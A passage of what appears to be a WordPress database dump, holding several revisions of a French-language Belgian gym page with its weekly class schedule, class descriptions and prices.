rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:08', '2013-10-05 08:51:08', '', 11, 'http://www.crosstrainingcenter.be/11-revision-121/', 0, 'revision', '', 0),
(352, 1, '2013-10-05 08:53:02', '2013-10-05 08:53:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:53:02', '2013-10-05 08:53:02', '', 11, 'http://www.crosstrainingcenter.be/11-revision-123/', 0, 'revision', '', 0),
(353, 1, '2013-10-05 08:54:27', '2013-10-05 08:54:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:54:27', '2013-10-05 08:54:27', '', 11, 'http://www.crosstrainingcenter.be/11-revision-124/', 0, 'revision', '', 0),
(354, 1, '2013-10-05 08:55:15', '2013-10-05 08:55:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er 